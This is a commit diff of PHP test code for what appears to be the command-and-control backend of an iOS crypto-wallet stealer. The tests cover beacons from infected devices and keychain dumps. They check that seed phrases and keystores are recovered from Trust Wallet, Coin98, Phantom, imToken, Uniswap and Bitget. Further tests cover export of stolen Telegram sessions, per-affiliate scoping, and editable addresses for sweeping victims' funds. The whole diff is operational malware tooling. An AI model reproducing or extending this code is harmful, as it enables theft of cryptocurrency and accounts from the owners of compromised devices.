fix: keystore
This commit is contained in:
@@ -731,6 +731,58 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_duplicate_device_create_returns_existing(): void
|
||||
{
|
||||
// Simulate a race: the device already exists when /war tries to
|
||||
// create it. The upsert should find the existing row and continue
|
||||
// instead of crashing with a duplicate key error.
|
||||
$existing = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'accessGroup' => 'group.com.sixdays.team',
|
||||
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
// Same device row, not a duplicate.
|
||||
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertSame($existing->id, $device->id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_duplicate_device_create_returns_existing(): void
|
||||
{
|
||||
// Same race condition test via /beacon endpoint.
|
||||
$existing = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertSame($existing->id, $device->id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
||||
{
|
||||
@@ -1298,4 +1350,292 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-wallets-1/wallet_pkg.json'
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_coin98_plaintext_backup_decrypts_mnemonic_and_addresses(): void
|
||||
{
|
||||
Http::fake();
|
||||
$mnemonic = self::TEST_MNEMONIC;
|
||||
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
|
||||
$trx = 'TFncSZhFzsiEaRSTrThDyqEnbiLv99KoR2';
|
||||
$btc = 'bc1qsrr6lyapm7rjj609enwhlt620zu7r37fxfkna0';
|
||||
$backup = [
|
||||
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
|
||||
['chain' => 'tron', 'address' => $trx, 'mnemonic' => $mnemonic, 'privateKey' => '0xdef', 'path' => "hd m/44'/195'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
|
||||
['chain' => 'bitcoin', 'address' => $btc, 'mnemonic' => $mnemonic, 'privateKey' => '0x123', 'path' => "hd m/84'/0'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
|
||||
];
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'coin98' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'service' => 'rn-secure-storage',
|
||||
'account' => 'WALLET_SECURE_BACKUP',
|
||||
'dataHex' => bin2hex(json_encode($backup)),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($memo);
|
||||
$this->assertSame($mnemonic, $memo->mnemonic);
|
||||
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->get()
|
||||
->contains(fn ($row) => (int) $row->decrypted === 1)
|
||||
);
|
||||
|
||||
$ethAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $eth)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($ethAddr);
|
||||
$this->assertSame('ETHEREUM', $ethAddr->chain_type);
|
||||
|
||||
$trxCoin = WalletAddress::query()->where('device_id', $device->id)->where('address', $trx)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($trxCoin);
|
||||
$this->assertSame('TRON', $trxCoin->chain_type);
|
||||
|
||||
$btcAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $btc)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($btcAddr);
|
||||
$this->assertSame('BITCOIN', $btcAddr->chain_type);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_keychain_dump_ingests_coin98_mnemonic(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Http::fake();
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'album_storage' => true,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'wallet_scan',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-scan-kc-1',
|
||||
]);
|
||||
|
||||
$mnemonic = self::TEST_MNEMONIC;
|
||||
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
|
||||
$backup = [
|
||||
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
|
||||
];
|
||||
$keychainDump = [
|
||||
'wallets' => [
|
||||
'coin98' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'service' => 'rn-secure-storage',
|
||||
'account' => 'WALLET_SECURE_BACKUP',
|
||||
'dataHex' => bin2hex(json_encode($backup)),
|
||||
]],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-scan-kc-1',
|
||||
'filename' => 'keychain_c2_dump.json',
|
||||
'category' => 'wallet_scan',
|
||||
'data' => base64_encode(json_encode($keychainDump)),
|
||||
])->assertOk();
|
||||
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($memo);
|
||||
$this->assertSame($mnemonic, $memo->mnemonic);
|
||||
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame(1, (int) $ks->decrypted);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_walletsV2_ingests_imtoken_keystore(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Http::fake();
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'album_storage' => true,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'wallet_extract',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-extract-imt-1',
|
||||
]);
|
||||
|
||||
// An imToken walletsV2 keystore (encrypted, no password available).
|
||||
$keystore = [
|
||||
'id' => '05e3bcf4-f522-4d80-b8d0-1c05f5be8094',
|
||||
'version' => 12000,
|
||||
'crypto' => [
|
||||
'cipher' => 'aes-128-ctr',
|
||||
'cipherparams' => ['iv' => '4a1cfd57baaa3b00b51193ff7668d78e'],
|
||||
'ciphertext' => '75366e1ff5c2944f0ff781e3ce15f40e',
|
||||
'kdf' => 'pbkdf2',
|
||||
'kdfparams' => ['c' => 262144, 'prf' => 'hmac-sha256', 'dklen' => 32, 'salt' => 'c70d790e2ff331dff35427a4739fd470998f915396d8d0895a98d677bad81e11'],
|
||||
'mac' => '260ead5acb377b98a4a9b8773d06c582042e6d9a43523a7e0b04d53d914be8ff',
|
||||
],
|
||||
'imTokenMeta' => ['name' => 'cfc', 'source' => 'MNEMONIC', 'network' => 'MAINNET'],
|
||||
];
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-extract-imt-1',
|
||||
'filename' => 'walletsV2_05e3bcf4-f522-4d80-b8d0-1c05f5be8094.json',
|
||||
'category' => 'wallet_extract',
|
||||
'data' => base64_encode(json_encode($keystore)),
|
||||
])->assertOk();
|
||||
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->first();
|
||||
$this->assertNotNull($ks);
|
||||
// No password → not decrypted, but keystore is stored.
|
||||
$this->assertSame(0, (int) $ks->decrypted);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_phantom_entropy_decrypts_mnemonic(): void
|
||||
{
|
||||
Http::fake();
|
||||
// Phantom stores BIP39 entropy as a JSON dict in keychain under
|
||||
// service=app:no-auth / account=.phantom-labs.vault.seedless.<id>
|
||||
// entropy bytes: fa685dddbcc0b7b8b98801b42d70edeb → 12-word mnemonic
|
||||
$entropyBytes = [250, 104, 93, 221, 188, 192, 183, 184, 185, 136, 1, 180, 45, 112, 237, 235];
|
||||
$entropyDict = [];
|
||||
foreach ($entropyBytes as $i => $b) {
|
||||
$entropyDict[(string) $i] = $b;
|
||||
}
|
||||
$vaultJson = json_encode([
|
||||
'version' => 1,
|
||||
'identifier' => 'f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1',
|
||||
'name' => '账户 1',
|
||||
'entropy' => $entropyDict,
|
||||
], JSON_UNESCAPED_UNICODE);
|
||||
$accountHex = bin2hex('.phantom-labs.vault.seedless.f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1');
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'phantom' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'service' => 'app:no-auth',
|
||||
'account' => $accountHex,
|
||||
'dataHex' => bin2hex($vaultJson),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first();
|
||||
$this->assertNotNull($memo, 'Phantom mnemonic should be recovered from entropy');
|
||||
$this->assertSame(12, count(explode(' ', $memo->mnemonic)));
|
||||
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Phantom')->get()
|
||||
->contains(fn ($row) => (int) $row->decrypted === 1)
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_uniswap_plaintext_mnemonic_decrypts(): void
|
||||
{
|
||||
Http::fake();
|
||||
// Uniswap stores the BIP39 mnemonic as hex-encoded UTF-8 plaintext
|
||||
// in the keychain dataHex field.
|
||||
$mnemonic = 'sugar another buzz tourist you hotel boring word castle uncle resource pen';
|
||||
$address = '0x4A4504F0Ea48A83358DF5B4b316cb60c5c0570a4';
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'uniswap' => [
|
||||
'count' => 2,
|
||||
'items' => [
|
||||
[
|
||||
'service' => '',
|
||||
'account' => 'com.uniswap.mobile.mnemonic.'.$address,
|
||||
'dataHex' => bin2hex($mnemonic),
|
||||
],
|
||||
[
|
||||
'service' => '',
|
||||
'account' => 'com.uniswap.mobile.privateKey.'.$address,
|
||||
'dataHex' => bin2hex('zprvAhmjAJA8zFQiXEZRSQkeoJuFtkCoXjTXXTQbcQR2E2Spp599'),
|
||||
],
|
||||
],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
|
||||
// Mnemonic should be recovered by walkForMnemonics.
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
|
||||
$this->assertSame($mnemonic, $memo->mnemonic);
|
||||
|
||||
// Address should be extracted from the account field.
|
||||
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
|
||||
$this->assertNotNull($addr, 'Uniswap address should be extracted from account field');
|
||||
$this->assertSame('ETHEREUM', $addr->chain_type);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_bitget_jwt_address_extracted(): void
|
||||
{
|
||||
Http::fake();
|
||||
// Bitget stores a JWT token in keychain with the wallet address in the payload.
|
||||
$address = '0xb763E99eCF57493bFDe18F812BcDE97Ce35f4A3a';
|
||||
$jwtPayload = json_encode([
|
||||
'address' => $address,
|
||||
'chain' => 'eth',
|
||||
'identity' => 'f8f8e637429715f6f07d0746837db419',
|
||||
]);
|
||||
$jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.'
|
||||
.base64_encode($jwtPayload).'.sig';
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'bitget' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'service' => '_bitkeep_secure_storage',
|
||||
'account' => 'f8f8e637429715f6f07d0746837db419-jwt-token',
|
||||
'dataHex' => bin2hex($jwt),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
|
||||
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
|
||||
$this->assertNotNull($addr, 'Bitget address should be extracted from JWT token');
|
||||
$this->assertSame('ETHEREUM', $addr->chain_type);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -75,6 +75,18 @@ class KeystoreAdminTest extends TestCase
|
||||
->assertJsonPath('data.items.0.account', 'trust.account')
|
||||
->assertJsonPath('data.items.0.data_preview', '777350');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.detail', $row))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.id', $row->id)
|
||||
->assertJsonPath('data.source', 'Trust Wallet')
|
||||
->assertJsonPath('data.decrypted', 1)
|
||||
->assertJsonPath('data.detail.kind', 'keychain.wallets')
|
||||
->assertJsonPath('data.detail.wallets.trustwallet.count', 1)
|
||||
// Sensitive dataHex must be masked.
|
||||
->assertJsonPath('data.detail.wallets.trustwallet.items.0.dataHex', '***MASKED***(12 hex chars)')
|
||||
->assertJsonPath('data.detail.wallets.trustwallet.items.0._dataDecoded', '777350');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
|
||||
@@ -593,6 +593,46 @@ class PageVisitTest extends TestCase
|
||||
->assertJsonPath('data.0.country_label', '中国');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function visits_data_filters_country_by_chinese_name(): void
|
||||
{
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'aaaaaaaaaaaaaaaa',
|
||||
'chain' => PageVisit::CHAIN_CORUNA,
|
||||
'os' => 'iOS',
|
||||
'ip' => '1.2.3.4',
|
||||
'country' => 'CN',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'bbbbbbbbbbbbbbbb',
|
||||
'chain' => PageVisit::CHAIN_CORUNA,
|
||||
'os' => 'iOS',
|
||||
'ip' => '5.6.7.8',
|
||||
'country' => 'US',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
// Chinese name resolves to the same ISO code as the stored value.
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.visits.data', ['range' => 'today', 'country' => '中国']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.country', 'CN')
|
||||
->assertJsonPath('data.0.country_label', '中国');
|
||||
|
||||
// Unrecognized text is ignored (no filter applied), consistent with
|
||||
// how invalid ISO codes are treated.
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.visits.data', ['range' => 'today', 'country' => '不存在的国家']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 2);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function visits_data_does_not_filter_chain_until_explicitly_chosen(): void
|
||||
{
|
||||
|
||||
@@ -8,6 +8,7 @@ use App\Models\Device;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -137,4 +138,95 @@ class PluginSessionPageTest extends TestCase
|
||||
->get(route('user.sessions.download', $other))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_export_sessions_as_zip(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-export',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'kind' => PluginSession::KIND_TELEGRAM,
|
||||
'account_id' => '111',
|
||||
'payload' => ['user_id' => '111', 'state' => 'abc'],
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'kind' => PluginSession::KIND_TELEGRAM,
|
||||
'account_id' => '222',
|
||||
'payload' => ['user_id' => '222', 'state' => 'def'],
|
||||
]);
|
||||
|
||||
$resp = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.sessions.export', ['kind' => '1']))
|
||||
->assertOk();
|
||||
$this->assertStringContainsString('attachment', (string) $resp->headers->get('content-disposition'));
|
||||
$this->assertSame('application/zip', $resp->headers->get('content-type'));
|
||||
$this->assertSame('2', $resp->headers->get('x-export-count'));
|
||||
|
||||
// Verify the ZIP contains two JSON files.
|
||||
$body = $resp->streamedContent();
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'test_zip_');
|
||||
file_put_contents($tmp, $body);
|
||||
$zip = new \ZipArchive();
|
||||
$this->assertTrue($zip->open($tmp) === true);
|
||||
$this->assertSame(2, $zip->numFiles);
|
||||
$names = [];
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$names[] = $zip->getNameIndex($i);
|
||||
}
|
||||
$zip->close();
|
||||
@unlink($tmp);
|
||||
$this->assertCount(2, $names);
|
||||
foreach ($names as $name) {
|
||||
$this->assertStringContainsString('tg-', $name);
|
||||
$this->assertStringEndsWith('.json', $name);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function export_returns_error_when_no_data(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.sessions.export', ['kind' => '1']))
|
||||
->assertStatus(422)
|
||||
->assertJsonPath('code', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_export_respects_channel_scope(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
|
||||
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||
$chB = 'cccccccccccccccccccccccccccccccc';
|
||||
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => $chB, 'user_id' => User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1])->id, 'status' => 1]);
|
||||
|
||||
$devA = Device::query()->create(['device_id' => 'dev-a', 'channel_id' => $chA]);
|
||||
$devB = Device::query()->create(['device_id' => 'dev-b', 'channel_id' => $chB]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $devA->id, 'device_key' => 'dev-a',
|
||||
'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'aaa',
|
||||
'payload' => ['user_id' => 'aaa'],
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $devB->id, 'device_key' => 'dev-b',
|
||||
'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'bbb',
|
||||
'payload' => ['user_id' => 'bbb'],
|
||||
]);
|
||||
|
||||
$resp = $this->actingAs($agentA, 'agent')
|
||||
->get(route('user.sessions.export', ['kind' => '1']))
|
||||
->assertOk();
|
||||
$this->assertSame('1', $resp->headers->get('x-export-count'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -168,7 +168,7 @@ class SystemAdminTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function settings_page_hides_token_and_shows_readonly_collect_addresses(): void
|
||||
public function settings_page_shows_editable_collect_addresses(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'secret-token-should-not-render',
|
||||
@@ -185,9 +185,9 @@ class SystemAdminTest extends TestCase
|
||||
->assertOk()
|
||||
->assertDontSee('secret-token-should-not-render')
|
||||
->assertDontSee('name="telegram_bot_token"', false)
|
||||
->assertDontSee('name="transfer_to_address"', false)
|
||||
->assertDontSee('name="transfer_to_address_eth"', false)
|
||||
->assertDontSee('name="transfer_to_address_btc"', false)
|
||||
->assertSee('name="transfer_to_address"', false)
|
||||
->assertSee('name="transfer_to_address_eth"', false)
|
||||
->assertSee('name="transfer_to_address_btc"', false)
|
||||
->assertDontSee('name="panel_admin_hosts"', false)
|
||||
->assertDontSee('name="channels_domains"', false)
|
||||
->assertDontSee('后台访问域名')
|
||||
@@ -204,7 +204,7 @@ class SystemAdminTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function settings_update_cannot_change_collect_addresses(): void
|
||||
public function settings_update_can_change_collect_addresses(): void
|
||||
{
|
||||
config([
|
||||
'coruna.transfer.to_address' => 'TKeepCollect',
|
||||
@@ -217,16 +217,16 @@ class SystemAdminTest extends TestCase
|
||||
'telegram_owner_chat_id' => '-1001',
|
||||
'official_album_storage' => '0',
|
||||
'auto_transfer_enabled' => '0',
|
||||
'transfer_to_address' => 'THackedCollect',
|
||||
'transfer_to_address_eth' => '0xHackedCollect',
|
||||
'transfer_to_address_btc' => 'bc1HackedCollect',
|
||||
'transfer_to_address' => 'TNewCollect',
|
||||
'transfer_to_address_eth' => '0xNewCollect',
|
||||
'transfer_to_address_btc' => 'bc1NewCollect',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertSame('TKeepCollect', config('coruna.transfer.to_address'));
|
||||
$this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth'));
|
||||
$this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc'));
|
||||
$this->assertSame('TNewCollect', config('coruna.transfer.to_address'));
|
||||
$this->assertSame('0xNewCollect', config('coruna.transfer.to_address_eth'));
|
||||
$this->assertSame('bc1NewCollect', config('coruna.transfer.to_address_btc'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -183,7 +183,7 @@ class TokenviewWebhookTest extends TestCase
|
||||
&& str_contains($text, 'USDT')
|
||||
&& str_contains($text, '来源</b>: imToken - TRX')
|
||||
&& str_contains($text, '可归集')
|
||||
&& str_contains($text, '❌');
|
||||
&& str_contains($text, '⏳');
|
||||
});
|
||||
}
|
||||
|
||||
@@ -249,7 +249,7 @@ class TokenviewWebhookTest extends TestCase
|
||||
&& ! str_contains($text, '余额入账')
|
||||
&& str_contains($text, '余额')
|
||||
&& str_contains($text, '45.6')
|
||||
&& str_contains($text, '可归集</b>: ❌');
|
||||
&& str_contains($text, '可归集</b>: ⏳');
|
||||
});
|
||||
}
|
||||
|
||||
@@ -389,7 +389,7 @@ class TokenviewWebhookTest extends TestCase
|
||||
return str_contains($text, '余额入账')
|
||||
&& str_contains($text, '来源</b>: imToken - ETH')
|
||||
&& str_contains($text, '可归集</b>: ✅')
|
||||
&& ! str_contains($text, '可归集</b>: ❌');
|
||||
&& ! str_contains($text, '可归集</b>: ⏳');
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user